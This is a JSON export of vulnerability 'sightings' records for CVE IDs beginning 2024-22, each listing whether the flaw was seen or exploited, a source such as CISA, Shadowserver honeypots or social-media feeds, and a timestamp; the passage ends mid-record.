{"vulnerability": "2024-22", "sightings": [{"uuid": "064ab0aa-47db-4508-976c-db8073f83005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22170", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1294/", "content": "", "creation_timestamp": "2024-09-26T05:00:00.000000Z"}, {"uuid": "2735f155-e1c8-4558-ac0c-f0a970a0b7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "MISP/b832113b-e603-406a-ba62-aae9ba13b1b4", "content": "", "creation_timestamp": "2024-03-18T15:46:58.000000Z"}, {"uuid": "e33b358b-9804-4691-a64b-c331c0d467a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22185", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113477764712074488", "content": "", "creation_timestamp": "2024-11-13T21:27:55.620894Z"}, {"uuid": "544f6cc5-8950-4024-b06d-8d6a274ce939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22025", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "d9da3146-a2a8-4a2e-8032-85738dfea473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22017", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "b1804fbf-d2d4-43d4-ba33-888567ed7686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "7008d532-dd74-4f05-93e8-5d865f1abb8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22067", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113502637848785199", "content": "", "creation_timestamp": "2024-11-18T06:53:29.416709Z"}, {"uuid": "9e7f84a1-c52b-404e-9ea1-58c1b7a2a0bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22038", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113559923003521503", "content": "", "creation_timestamp": "2024-11-28T09:41:51.530144Z"}, {"uuid": "7839bae0-02fa-451f-893d-b8d30f24fb83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-22734", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/113580525520491734", "content": "", "creation_timestamp": "2024-12-02T01:01:21.286172Z"}, {"uuid": "1b661a52-0ef1-4f0a-b274-773f03d60681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22037", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113560012285968016", "content": "", "creation_timestamp": "2024-11-28T10:04:33.918216Z"}, {"uuid": "549039e4-7c3f-4db0-b511-a8cb93ed0e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22461", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113645753936258710", "content": "", "creation_timestamp": "2024-12-13T13:29:48.843162Z"}, {"uuid": "6387e4b9-46ac-4b12-bde8-c8f0d6df2210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22461", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113646124611765441", "content": "", "creation_timestamp": "2024-12-13T15:04:03.546320Z"}, {"uuid": "87d2839b-96f0-4fec-8586-71fd97a17cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681389663944812", "content": "", "creation_timestamp": "2024-12-19T20:32:25.753137Z"}, {"uuid": "f2074af3-fef2-4033-962e-d7c111ca7c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos6aifws2z", "content": "", "creation_timestamp": "2024-12-19T21:15:46.638757Z"}, {"uuid": "bc9aeab4-9157-4cee-89ea-eed459863324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22063", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113741096299871629", "content": "", "creation_timestamp": "2024-12-30T09:36:36.639426Z"}, {"uuid": "0d0f0405-3d1e-4fa7-8669-a76212bc98e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22347", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lg6wzffje22p", "content": "", "creation_timestamp": "2025-01-20T18:15:28.479362Z"}, {"uuid": "ed7df0d1-0e0b-4427-96d9-9dd7674fd899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22348", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lg6wzhrzzg2e", "content": "", "creation_timestamp": "2025-01-20T18:15:31.505263Z"}, {"uuid": "c29a09a5-19a4-49c4-8e3a-f4bc692f642b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22349", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lg6wzk6pk327", "content": "", "creation_timestamp": "2025-01-20T18:15:33.824224Z"}, {"uuid": "e607c22f-1a5f-4410-9930-6579f85c70b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22349", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lg72cy7g4f2w", "content": "", "creation_timestamp": "2025-01-20T19:14:31.565268Z"}, {"uuid": "e0658c6b-9428-4929-9a71-b0a1c13062ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22348", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lg72cyzufw2y", "content": "", "creation_timestamp": "2025-01-20T19:14:33.645606Z"}, {"uuid": "089bbe37-bbd8-460d-9af9-c0c35c2c1620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22347", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lg72cza63f2e", "content": "", "creation_timestamp": "2025-01-20T19:14:34.371706Z"}, {"uuid": "8e92f231-4362-4e30-93a5-b310df1d4775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-03)", "content": "", "creation_timestamp": "2025-02-03T00:00:00.000000Z"}, {"uuid": "c87a01a1-2698-4405-8df5-9d26222ce3cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-30)", "content": "", "creation_timestamp": "2025-01-30T00:00:00.000000Z"}, {"uuid": "a91dae22-255a-4734-b25b-a08411be5ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "c8a6d77c-0951-40a7-b0c3-3d064132d703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "8c49d7f6-b2d1-4ccd-bf7e-c65155c51ffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22063", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-fc19b140-3532de2b8eab5714", "content": "", "creation_timestamp": "2025-02-05T09:05:16.360558Z"}, {"uuid": "5b50ff9f-995c-421b-a6ae-12fb290e25a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-24)", "content": "", "creation_timestamp": "2025-01-24T00:00:00.000000Z"}, {"uuid": "34bb5a1e-e24b-49df-996c-b54fe54d333a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-27)", "content": "", "creation_timestamp": "2025-01-27T00:00:00.000000Z"}, {"uuid": "09a83827-246c-4c40-8cad-200bc0dd79a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-23)", "content": "", "creation_timestamp": "2025-01-23T00:00:00.000000Z"}, {"uuid": "6ea9270b-09fd-4531-8560-3ad9a61a42e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-19)", "content": "", "creation_timestamp": "2025-01-19T00:00:00.000000Z"}, {"uuid": "e84bf727-6723-4c73-9f7e-262f5465195b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-18)", "content": "", "creation_timestamp": "2025-01-18T00:00:00.000000Z"}, {"uuid": "997890f1-98c6-441e-9259-3247a63f8430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-20)", "content": "", "creation_timestamp": "2025-01-20T00:00:00.000000Z"}, {"uuid": "8d79b62d-6397-4761-869e-054940b6ab57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-21)", "content": "", "creation_timestamp": "2025-01-21T00:00:00.000000Z"}, {"uuid": "55244fa2-b5a8-487c-bab0-307fe8b799d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-17)", "content": "", "creation_timestamp": "2025-01-17T00:00:00.000000Z"}, {"uuid": "bcb0b082-1bb1-481d-9f4f-eed7f1dbc679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-27)", "content": "", "creation_timestamp": "2025-01-27T00:00:00.000000Z"}, {"uuid": "4817a08e-cb07-4610-91b6-002bc282fedd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-22)", "content": "", "creation_timestamp": "2025-01-22T00:00:00.000000Z"}, {"uuid": "ff2a93b3-d23e-4525-88d4-6d28fa26a8bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-26)", "content": "", "creation_timestamp": "2024-12-26T00:00:00.000000Z"}, {"uuid": "c17d05f5-492f-4fd8-a65c-2f153dbdc4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-02)", "content": "", "creation_timestamp": "2025-02-02T00:00:00.000000Z"}, {"uuid": "63db2c65-20cf-4a4f-b778-9478da4b94f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-09)", "content": "", "creation_timestamp": "2025-01-09T00:00:00.000000Z"}, {"uuid": "cee7abae-e5d2-4646-869c-430ae1b3d93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "580d6ab5-0d61-49ef-85e5-7d930cbf58c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22315", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgrvbu5z2m2e", "content": "", "creation_timestamp": "2025-01-28T07:05:04.805620Z"}, {"uuid": "d94c5607-3591-4b49-b986-3fe6fbf8f2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-31)", "content": "", "creation_timestamp": "2024-10-31T00:00:00.000000Z"}, {"uuid": "dcbbe628-b8b6-4c48-b55e-48768ea84461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-29)", "content": "", "creation_timestamp": "2025-01-29T00:00:00.000000Z"}, {"uuid": "cb784b5a-94e6-4d4b-ad08-47dbf179ecc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-06)", "content": "", "creation_timestamp": "2024-11-06T00:00:00.000000Z"}, {"uuid": "7eecb35a-e9b1-45a8-8064-8fefe86fef8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-15)", "content": "", "creation_timestamp": "2024-11-15T00:00:00.000000Z"}, {"uuid": "6b55011f-d645-42ea-90e2-b78e0dcacb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-09)", "content": "", "creation_timestamp": "2024-11-09T00:00:00.000000Z"}, {"uuid": "ff62ac85-921b-484b-a347-a57d2dd2735b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-17)", "content": "", "creation_timestamp": "2024-11-17T00:00:00.000000Z"}, {"uuid": "c6cd9500-98fc-4fbf-9ea6-ffc1a4ae8a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-23)", "content": "", "creation_timestamp": "2024-11-23T00:00:00.000000Z"}, {"uuid": "5e8150a6-fa91-4077-a00d-5e6668d6947b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-25)", "content": "", "creation_timestamp": "2025-01-25T00:00:00.000000Z"}, {"uuid": "3fd9e517-e0e3-403f-968e-5e90451f3422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-25)", "content": "", "creation_timestamp": "2024-11-25T00:00:00.000000Z"}, {"uuid": "7961f67d-ac68-4f20-972f-2fdfd22fc862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-11)", "content": "", "creation_timestamp": "2024-12-11T00:00:00.000000Z"}, {"uuid": "e5ea17fe-22b2-4348-890b-a2bc339dfed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-15)", "content": "", "creation_timestamp": "2024-12-15T00:00:00.000000Z"}, {"uuid": "9b93ea62-38ef-42af-bb4f-75a4fbd6bdb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-20)", "content": "", "creation_timestamp": "2024-12-20T00:00:00.000000Z"}, {"uuid": "5f7b5cc8-5190-4e01-bdee-b4c228a321c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-06)", "content": "", "creation_timestamp": "2025-02-06T00:00:00.000000Z"}, {"uuid": "93b580d4-c02b-4dcc-a258-1bd022e85c56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22316", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901204918639470", "content": "", "creation_timestamp": "2025-01-27T16:14:20.383000Z"}, {"uuid": "b295f960-bc96-410d-9f15-9eaa8f3621ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22316", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqdmic72f2b", "content": "", "creation_timestamp": "2025-01-27T16:16:09.592398Z"}, {"uuid": "c8329593-f14d-41e1-bcd3-0b6c8d5d3085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-01)", "content": "", "creation_timestamp": "2025-02-01T00:00:00.000000Z"}, {"uuid": "a8868c53-774f-47e4-90aa-ff8ace41bdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-01)", "content": "", "creation_timestamp": "2025-02-01T00:00:00.000000Z"}, {"uuid": "f1de20ce-8146-4b86-a331-91dadd361c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-28)", "content": "", "creation_timestamp": "2025-01-28T00:00:00.000000Z"}, {"uuid": "b66bbd59-c245-42cb-b822-ed2ebf830f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22315", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903503145067369", "content": "", "creation_timestamp": "2025-01-28T01:58:48.542432Z"}, {"uuid": "6bfc19c2-ab98-4bf1-93bb-00145640ade6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "68a07d0b-e635-4865-aa40-4a3d27597870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-04)", "content": "", "creation_timestamp": "2025-02-04T00:00:00.000000Z"}, {"uuid": "b172bcfc-3ae6-4d50-82aa-5ee5eb6a58be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-28)", "content": "", "creation_timestamp": "2025-01-28T00:00:00.000000Z"}, {"uuid": "19a5e6da-3203-4780-ab8b-51edf0d73392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22315", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrf57tqd72c", "content": "", "creation_timestamp": "2025-01-28T02:16:04.840712Z"}, {"uuid": "a0822b83-3315-4a69-8175-a0a157a82999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:00.000000Z"}, {"uuid": "bafef177-75a7-4f18-95a5-87c63f691a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-07)", "content": "", "creation_timestamp": "2025-02-07T00:00:00.000000Z"}, {"uuid": "71720a83-dd33-483d-aabc-047d513fa4fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-08)", "content": "", "creation_timestamp": "2025-02-08T00:00:00.000000Z"}, {"uuid": "2e24167c-09b7-413d-87c8-29d9e885bf46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22718", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkc62qiw422g", "content": "", "creation_timestamp": "2025-03-13T22:40:15.506907Z"}, {"uuid": "6de1467a-4c9a-4a8d-ac82-8b54dc88a3ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-09)", "content": "", "creation_timestamp": "2025-02-09T00:00:00.000000Z"}, {"uuid": "17d404a1-6185-437a-b180-ac460a4b5a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22224", "type": "seen", "source": "https://bsky.app/profile/doingfedtime.bsky.social/post/3llcr7ijzok2x", "content": "", "creation_timestamp": "2025-03-26T21:48:10.154854Z"}, {"uuid": "c4c29f8c-48c8-4a3f-b8f8-95af1dc29ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-10)", "content": "", "creation_timestamp": "2025-02-10T00:00:00.000000Z"}, {"uuid": "a86bcc73-fb9a-4ccd-85ac-c85a41dc078d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-10)", "content": "", "creation_timestamp": "2025-02-10T00:00:00.000000Z"}, {"uuid": "34f80189-686d-4bf4-88ff-d0d2a24feceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llf73zmhow2u", "content": "", "creation_timestamp": "2025-03-27T21:02:05.264535Z"}, {"uuid": "01b5cce8-e788-4372-be2a-7363f1fdd657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-11)", "content": "", "creation_timestamp": 